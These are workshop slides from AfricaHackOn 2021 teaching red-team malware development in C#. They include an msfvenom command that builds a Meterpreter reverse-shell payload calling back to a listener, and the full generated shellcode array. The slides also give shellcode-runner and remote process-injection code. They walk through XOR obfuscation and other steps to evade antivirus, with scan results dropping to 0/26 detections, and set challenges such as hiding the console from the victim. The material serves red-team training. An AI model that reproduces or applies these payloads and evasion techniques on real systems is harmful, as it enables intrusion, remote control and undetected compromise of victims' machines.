

AFRICAHACKON 2021

MALWARE DEVELOPMENT FOR RED TEAMING



WHO AM I



macrosec



AMARJIT LABHURAM [[@amarjit_labu](#)]

- ★ Co-Founder & Technical Director @ **MacroSec Ltd**
- ★ Cybersecurity **Researcher**
- ★ Pentester / **Red Teamer**
- ★ **Offensive** Security Lover

HOBBIES:

- ★ Farming
- ★ Fishing
- ★ DJing Electronic Music
- ★ Foodie & Coffee Lover

WORKSHOP GUIDELINES

★ Goals

★ Exercises & Lab Guide <https://github.com/chr0n1k/AH2021Workshop>


★ Challenges



INTRODUCTION


COMMAND AND CONTROL (C&C or C2)

A command-and-control [C&C or C2] server is a computer controlled by an attacker or cybercriminal which is used to send commands to systems compromised by malware and receive stolen data from a target network.



<https://www.activecountermeasures.com/blog-beacon-analysis-the-key-to-cyber-threat-hunting/>

COMMAND AND CONTROL FRAMEWORKS



<https://www.thec2matrix.com/>

METASPLOIT & METERPRETER

- ★ Extensible C-based payload that uses in memory DLL injection to load modules at runtime
- ★ Meterpreter and the modules it loads run from memory, without touching disk.
- ★ Supports HTTP & HTTPS

METASPLOIT & METERPRETER

```
msf6 exploit(multi/handler) > sessions
```

Active sessions

=====

Id	Name	Type	Information	Connection
18		meterpreter x64/windows	DESKTOP-MHB0T9F\John Doe @ DESKTOP-MHB0T9F	10.1.1.15:8080 -> 10.1.1.11:64481 (10.1.1.11)
23		meterpreter x64/windows	DESKTOP-MHB0T9F\John Doe @ DESKTOP-MHB0T9F	10.1.1.15:8080 -> 10.1.1.11:63857 (10.1.1.11)
24		meterpreter x64/windows	DESKTOP-MHB0T9F\John Doe @ DESKTOP-MHB0T9F	10.1.1.15:8080 -> 10.1.1.11:60025 (10.1.1.11)

```
msf6 exploit(multi/handler) > sessions -i 24
```

```
[*] Starting interaction with 24...
```

```
meterpreter > getuid
```

```
Server username: DESKTOP-MHB0T9F\John Doe
```

```
meterpreter >
```


```
meterpreter > sysinfo
```

```
Computer      : DESKTOP-MHB0T9F
OS            : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter > █
```


C# 101


- ★ Object oriented programming language released in 2001 as part of the .NET initiative
- ★ C# source is compiled to IL (Intermediate Language) which can then be translated into machine instructions by the CLR (Common Language Runtime)
<https://docs.microsoft.com/en-us/dotnet/standard/clr>
- ★ Managed Code vs Unmanaged
<https://docs.microsoft.com/en-us/dotnet/standard/managed-code>

C# 101



<https://www.c-sharpcorner.com/UploadFile/8911c4/code-execution-process>

C# 101



The screenshot shows the Visual Studio IDE with a C# project named 'Program'. The file 'program1.cs' is open, displaying the following code:

```
using System;

class Program
{
    static void Main()
    {
        Console.WriteLine("Hello World!");
        Console.WriteLine("Press any key to exit.");
        Console.ReadKey();
    }
}
```

The interface includes a menu bar (File, Edit, View, Git, Project, Debug, Test, Analyze, Tools, Extensions, Window, Help), a search bar (Search (Ctrl+Q)), and a toolbar with various icons for file operations and debugging. The Solution Explorer on the left shows the project structure with 'Miscellaneous Files' and 'Program'.

C# 101

P/invoke (**Platform Invocation Services**) allows managed code to call functions implemented in unmanaged libraries (DLLs).

DllImportAttribute Class

Definition

Namespace: `System.Runtime.InteropServices`

Assembly: `System.Runtime.InteropServices.dll`

Indicates that the attributed method is exposed by an unmanaged dynamic-link library (DLL) as a static entry point.

<https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.dllexportattribute?view=net-5.0>



LABS

Lab0: Environment Setup

Lab1: Introduction

CONSOLE CLASS

Console Class

Definition

Namespace: `System`

Assembly: `mscorlib.dll`

Represents the standard input, output, and error streams for console applications. This class cannot be inherited.

```
Console.WriteLine("Hello World!");  
Console.ReadKey();
```


<https://docs.microsoft.com/en-us/dotnet/api/system.console?view=netframework-4.8>

WINDOWS API

- ★ Exposes programming interfaces to the services provided by the OS
- ★ File system access, processes & threads management, network connections, user interface, etc.


<https://docs.microsoft.com/en-us/windows/win32/api/>

WINDOWS API



<https://www.oreilly.com/library/view/learning-malware-analysis/9781788392501/8aa60d1d-3efa-48bf-8fdc-2e3028b0401e.xhtml>

WINDOWS API



<https://windowkernel.wordpress.com/2011/08/22/windows-api/>

MESSAGE BOX

MessageBox function (winuser.h)

10/13/2021 • 7 minutes to read

Displays a modal dialog box that contains a system icon, a set of buttons, and a brief application-specific message, such as status or error information. The message box returns an integer value that indicates which button the user clicked.

Syntax

C++

 Copy

```
int MessageBox(  
    [in, optional] HWND    hwnd,  
    [in, optional] LPCTSTR lpText,  
    [in, optional] LPCTSTR lpCaption,  
    [in]           UINT     uType  
);
```


<https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox>

Lab2: Simple Shellcode Runner

METERPRETER STAGED PAYLOADS

★ Staged Payload

```
msfvenom -p  
windows/x64/meterpreter/reverse_tcp  
LHOST=10.1.1.15 LPORT=8080  
EXITFUNC=thread -f exe > revershell.exe
```



SHELLCODE

- ★ Sequence of bytes that represent assembly instructions
- ★ Usually used as the payload after successful exploitation
- ★ Metasploit's msfvenom generate shellcode for different payloads

```
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=8080 EXITFUNC=thread -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 511 bytes
Final size of csharp file: 2621 bytes
byte[] buf = new byte[511] {
    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
    0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
    0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
    0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51,0x48,
    0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
    0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,
    0x18,0x44,0x8b,0x40,0x20,0x50,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,
    0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
    0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
    0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
    0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
    0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
    0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
    0x4b,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
    0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
    0x49,0xbc,0x02,0x00,0x1f,0x90,0x0a,0x01,0x01,0x0f,0x41,0x54,0x49,0x89,0xe4,
    0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
    0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
    0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
    0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
    0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
    0x99,0x45,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xc0,0x75,0xe5,
    0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
    0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0xb2,0xd9,0xc8,0x5f,0xff,0xd5,
    0x83,0x78,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
    0x59,0x66,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf7,0x48,0x31,0xc9,0x41,
    0xba,0x59,0xa4,0x53,0x65,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0xd4,0x31,
    0xc9,0x49,0x89,0xf0,0x48,0x80,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
    0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
    0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0xb0,0x2f,0x0f,0x30,0xff,0xd5,
    0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xc0,0xe9,0x3c,
    0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
    0xff,0xe7,0x58,0x6a,0x00,0x59,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0x89,0xda,0xff,
    0xd5 };
```


SHELLCODE INJECTION

VirtualAlloc, CreateThread & WaitForSingleObject for the win!

```
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

Console.WriteLine("[+] Copying shellcode into allocated memory space");
// Write shellcode into allocated memory space
Marshal.Copy(shellcode, 0, addr, size);

Console.WriteLine("[+] Creating thread and running...catch your shell");
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
// 0xFFFFFFFF = WAIT_FAILED
WaitForSingleObject(hThread, 0xFFFFFFFF);
```



SHELLCODE INJECTION

```
root@kali: ~ x root@kali: ~ x
msf6 exploit(multi/handler) > sessions

Active sessions
=====

No active sessions.

msf6 exploit(multi/handler) >
[*] Sending stage (200262 bytes) to 10.1.1.11
[*] Meterpreter session 3 opened (10.1.1.15:8080 -> 10.1.1.11)
```



VIRTUALALLOC

VirtualAlloc function (memoryapi.h)

10/13/2021 • 7 minutes to read

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.

To allocate memory in the address space of another process, use the [VirtualAllocEx](#) function.

Syntax

C++



```
LPVOID VirtualAlloc(  
    [in, optional] LPVOID lpAddress,  
    [in]           SIZE_T dwSize,  
    [in]           DWORD  flAllocationType,  
    [in]           DWORD  flProtect  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc>

MARSHAL CLASS

Marshal Class

Definition

Namespace: `System.Runtime.InteropServices`

Assembly: `System.Runtime.InteropServices.dll`

Provides a collection of methods for allocating unmanaged memory, copying unmanaged memory blocks, and converting managed to unmanaged types, as well as other miscellaneous methods used when interacting with unmanaged code.

<https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal?view=net-5.0>

CREATETHREAD

CreateThread function (processthreadsapi.h)

10/13/2021 • 5 minutes to read

Creates a thread to execute within the virtual address space of the calling process.

To create a thread that runs in the virtual address space of another process, use the [CreateRemoteThread](#) function.

Syntax

C++

 Copy

```
HANDLE CreateThread(  
    [in, optional] LPSECURITY_ATTRIBUTES  lpThreadAttributes,  
    [in]           SIZE_T                 dwStackSize,  
    [in]           LPTHREAD_START_ROUTINE lpStartAddress,  
    [in, optional] __drv_aliasesMem LPVOID lpParameter,  
    [in]           DWORD                  dwCreationFlags,  
    [out, optional] LPDWORD                lpThreadId  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread>

WAITFORSINGLEOBJECT

WaitForSingleObject function (synchapi.h)

10/13/2021 • 2 minutes to read

Waits until the specified object is in the signaled state or the time-out interval elapses.

To enter an alertable wait state, use the [WaitForSingleObjectEx](#) function. To wait for multiple objects, use [WaitForMultipleObjects](#).

Syntax


C++

 Copy

```
DWORD WaitForSingleObject(  
    [in] HANDLE hHandle,  
    [in] DWORD dwMilliseconds  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitfor-singleobject>

CHALLENGE



```
C:\Users\John Doe\Desktop\Weaponized\AH2021Workshop-master\Labs\Lab2_ Simple shellcode runner\program1.exe
[+] Allocate memory in the current process
[+] Copying shellcode into allocated memory space
[+] Creating thread and running...catch your shell
-
```

As shown on the screenshot above, the payload opens a console window that will be visible to the victim and easy to spot. Change the source code of Lab 2 to hide the console using Windows API calls.



Lab3: AV Signature And Heuristic Evasion

MSFVENOM DEFAULT PAYLOAD

 **ANTISCAN.ME**

Filename: program1.exe
MD5: 77b949c3397b6a0c2733b22fb9b6541a
Scan date: 05-11-2021 06:29:20

! Detection 10/26

 Ad-Aware Antivirus Generic.Exploit.Shellcode.4.F21589E5	 Eset NOD32 Antivirus a variant of MSIL/Kryptik.DST trojan
 AhnLab V3 Internet Security Clean	 Fortinet Antivirus MSIL/Rozena.Nltr
 Alyac Internet Security Generic.Exploit.Shellcode.4.F21589E5	 IKARUS anti.virus Clean
 Avast Internet Security Clean	 F-Secure Anti-Virus Clean
 AVG Anti-Virus Clean	 Malwarebytes Anti-Malware Clean
 Avira Antivirus TR/Rozena.Gen	 Panda Antivirus Clean
 Webroot SecureAnywhere Clean	 Kaspersky Internet Security HEUR:Trojan.Win32.Generic
 BitDefender Total Security Clean	 McAfee Endpoint Protection Clean
 BullGuard Antivirus detected	 Sophos Anti-Virus Clean
 ClamAV Clean	 Trend Micro Internet Security Clean
 Dr.Web Security Space 11 Clean	 Windows Defender Trojan:Win64/Meterpreter.B
 Emsisoft Anti-Malware Generic.Exploit.Shellcode.4.F21589E5	 Zone Alarm Antivirus HEUR:Trojan.Win32.Generic
 Comodo Antivirus Clean	 Zillya Internet Security Clean

ANTISCAN.ME - NO DISTRIBUTE ANTIVIRUS SCANNER

VIRTUALALLOCEXNUMA

VirtualAllocExNuma function (memoryapi.h)

10/13/2021 • 7 minutes to read

Reserves, commits, or changes the state of a region of memory within the virtual address space of the specified process, and specifies the NUMA node for the physical memory.

Syntax

C++

 Copy

```
LPVOID VirtualAllocExNuma(  
    [in]          HANDLE hProcess,  
    [in, optional] LPVOID lpAddress,  
    [in]          SIZE_T dwSize,  
    [in]          DWORD flAllocationType,  
    [in]          DWORD flProtect,  
    [in]          DWORD nndPreferred  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocexnuma>

EXCLUSIVE OR (XOR) ENCRYPTION

Exclusive disjunction (exclusive or) is a logical operation that outputs true only when inputs differ

Commonly used by malware to bypass signature detection

XOR Truth Table		
Input		Output
0	0	0
0	1	1
1	0	1
1	1	0

MODIFIED SHELLCODE RUNNER

 **ANTISCAN.ME**

Filename: program1.exe
MD5: 7a4d10f2e759dcd4d9c2c87a48d7ddde
Scan date: 05-11-2021 06:36:14

! Detection 7/26

 Ad-Aware Antivirus Clean	 Eset NOD32 Antivirus a variant of MSIL/Kryptik.HXX trojan
 AhnLab V3 Internet Security Clean	 Fortinet Antivirus MSIL/Rozena.Nltr
 Alyac Internet Security Clean	 IKARUS anti.virus Clean
 Avast Internet Security Clean	 F-Secure Anti-Virus Clean
 AVG Anti-Virus Clean	 Malwarebytes Anti-Malware Clean
 Avira Antivirus TR/Rozena.Gen	 Panda Antivirus Clean
 Webroot SecureAnywhere Clean	 Kaspersky Internet Security HEUR:Trojan.MSIL.Rozena.gen
 BitDefender Total Security Clean	 McAfee Endpoint Protection Clean
 BullGuard Antivirus detected	 Sophos Anti-Virus Clean
 ClamAV Clean	 Trend Micro Internet Security Clean
 Dr.Web Security Space 11 Clean	 Windows Defender VirTool:MSIL/Viemlod.gen!A
 Emsisoft Anti-Malware Clean	 Zone Alarm Antivirus HEUR:Trojan.MSIL.Rozena.gen
 Comodo Antivirus Clean	 Zillya Internet Security Clean

ANTISCAN.ME - NO DISTRIBUTE ANTIVIRUS SCANNER

Lab4: Simple Process Injection

OPENPROCESS

OpenProcess function (processthreadsapi.h)

10/13/2021 • 2 minutes to read

Opens an existing local process object.

Syntax

C++

 Copy

```
HANDLE OpenProcess(  
    [in] DWORD dwDesiredAccess,  
    [in] BOOL bInheritHandle,  
    [in] DWORD dwProcessId  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess>

VIRTUALALLOCEX

VirtualAllocEx function (memoryapi.h)

10/13/2021 • 7 minutes to read

Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.

To specify the NUMA node for the physical memory, see [VirtualAllocExNuma](#).

Syntax

C++

 Copy

```
LPVOID VirtualAllocEx(  
    [in]          HANDLE hProcess,  
    [in, optional] LPVOID lpAddress,  
    [in]          SIZE_T dwSize,  
    [in]          DWORD  flAllocationType,  
    [in]          DWORD  flProtect  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex>

WRITEPROCESSMEMORY

WriteProcessMemory function (memoryapi.h)

10/13/2021 • 2 minutes to read

Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.

Syntax

C++

 Copy

```
BOOL WriteProcessMemory(  
    [in] HANDLE hProcess,  
    [in] LPVOID lpBaseAddress,  
    [in] LPCVOID lpBuffer,  
    [in] SIZE_T nSize,  
    [out] SIZE_T *lpNumberOfBytesWritten  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory>

CREATEREMOTETHREAD

CreateRemoteThread function (processthreadsapi.h)

10/13/2021 • 5 minutes to read

Creates a thread that runs in the virtual address space of another process.

Use the [CreateRemoteThreadEx](#) function to create a thread that runs in the virtual address space of another process and optionally specify extended attributes.

Syntax

```
C++Copy  
  
HANDLE CreateRemoteThread(  
    [in] HANDLE hProcess,  
    [in] LPSECURITY_ATTRIBUTES lpThreadAttributes,  
    [in] SIZE_T dwStackSize,  
    [in] LPTHREAD_START_ROUTINE lpStartAddress,  
    [in] LPVOID lpParameter,  
    [in] DWORD dwCreationFlags,  
    [out] LPDWORD lpThreadId  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-process-threadsapi-createremotethread>

SIMPLE PROCESS INJECTION

```
// Get a handle to the explorer process. 0x001F0FFF = PROCESS_ALL access right
hProcess = OpenProcess(0x001F0FFF, false, pid);
```

```
// Allocate memory in the remote process
addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint) shellcode.Length, 0x3000, PAGE_EXECUTE_READ_WRITE);

Console.WriteLine("[+] WriteProcessMemory to 0x{0}", new string[] { addr.ToString("X") });
// Write shellcode[] to the remote process memory
IntPtr outSize;
WriteProcessMemory(hProcess, addr, shellcode, shellcode.Length, out outSize);

Console.WriteLine("[+] CreateRemoteThread to 0x{0}", new string[] { addr.ToString("X") });
// Create the remote thread in a suspended state = 0x00000004
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out hThread);
```

SIMPLE PROCESS INJECTION

 **ANTISCAN.ME**



Filename: program1.exe
MD5: 506c4a191baaba7681e65f069dd54d59
Scan date: 05-11-2021 06:48:20

✓ Detection 0/26

 Ad-Aware Antivirus Clean	 Eset NOD32 Antivirus Clean
 AhnLab V3 Internet Security Clean	 Fortinet Antivirus Clean
 Alyac Internet Security Clean	 IKARUS anti.virus Clean
 Avast Internet Security Clean	 F-Secure Anti-Virus Clean
 AVG Anti-Virus Clean	 Malwarebytes Anti-Malware Clean
 Avira Antivirus Clean	 Panda Antivirus Clean
 Webroot SecureAnywhere Clean	 Kaspersky Internet Security Clean
 BitDefender Total Security Clean	 McAfee Endpoint Protection Clean
 BullGuard Antivirus Clean	 Sophos Anti-Virus Clean
 ClamAV Clean	 Trend Micro Internet Security Clean
 Dr.Web Security Space 11 Clean	 Windows Defender Clean
 Emsisoft Anti-Malware Clean	 Zone Alarm Antivirus Clean
 Comodo Antivirus Clean	 Zillya Internet Security Clean

ANTISCAN.ME - NO DISTRIBUTE ANTIVIRUS SCANNER

CHALLENGE


>	 msedge.exe	3144	0.02	4
	 notepad.exe	2244	0.05	256 B/s

Modify the code so that instead of injecting into notepad.exe the shellcode injects into calc.exe



Lab5: Remote Thread Suspended Injection

REMOTE THREAD SUSPENDED INJECTION



RESUMETHREAD

ResumeThread function (processthreadsapi.h)

10/13/2021 • 2 minutes to read

Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

Syntax

C++

 Copy

```
DWORD ResumeThread(  
    [in] HANDLE hThread  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-process-threadsapi-resumethread>

Lab6: Queue User APC Process Injection

CREATEPROCESS

CreateProcessA function (processthreadsapi.h)

10/13/2021 • 13 minutes to read

Creates a new process and its primary thread. The new process runs in the security context of the calling process.

If the calling process is impersonating another user, the new process uses the token for the calling process, not the impersonation token. To run the new process in the security context of the user represented by the impersonation token, use the [CreateProcessAsUser](#) or [CreateProcessWithLogonW](#) function.

Syntax

```
C++Copy  
  
BOOL CreateProcessA(  
    [in, optional] LPCSTR          lpApplicationName,  
    [in, out, optional] LPSTR       lpCommandLine,  
    [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,  
    [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,  
    [in]          BOOL               bInheritHandles,  
    [in]          DWORD               dwCreationFlags,  
    [in, optional] LPVOID            lpEnvironment,  
    [in, optional] LPCSTR            lpCurrentDirectory,  
    [in]          LPSTARTUPINFOA     lpStartupInfo,  
    [out]          LPPROCESS_INFORMATION lpProcessInformation  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa>

OPENTHREAD

OpenThread function (processthreadsapi.h)

10/13/2021 • 2 minutes to read

Opens an existing thread object.

Syntax

C++

 Copy

```
HANDLE OpenThread(  
    [in] DWORD dwDesiredAccess,  
    [in] BOOL bInheritHandle,  
    [in] DWORD dwThreadId  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthread>

QUEUEUSERAPC

QueueUserAPC function (processthreadsapi.h)

10/13/2021 • 2 minutes to read

Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.

Syntax

C++


 Copy

```
DWORD QueueUserAPC(  
    [in] PAPCFUNC pfnAPC,  
    [in] HANDLE hThread,  
    [in] ULONG_PTR dwData  
);
```

<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc>

Lab7: Let's bypass userland hooks

HOOKING



EPP vs EDR

EPPs have low visibilities on endpoint. To better detect and mitigate the attack we did in the demo, having an EDR in place would help the blue team detect such an exploit much faster in the environment.

Endpoint Protection/Antivirus (EPP/AV)

PREVENTION

Static Analysis Byte Matching, Hashes

Dynamic Analysis Sandboxing

In Memory Analysis Microsoft AMSI

Poor to no endpoint visibility

!=

Endpoint Protection/Antivirus (EDR)

DETECTION

Detection instead of Prevention

Response about malicious behaviour

Collect telemetry for Threat Hunting

High process/endpoint visibility

CONCLUSION

one's exploitation kung-fu is limited only by one's creativity and system familiarity.

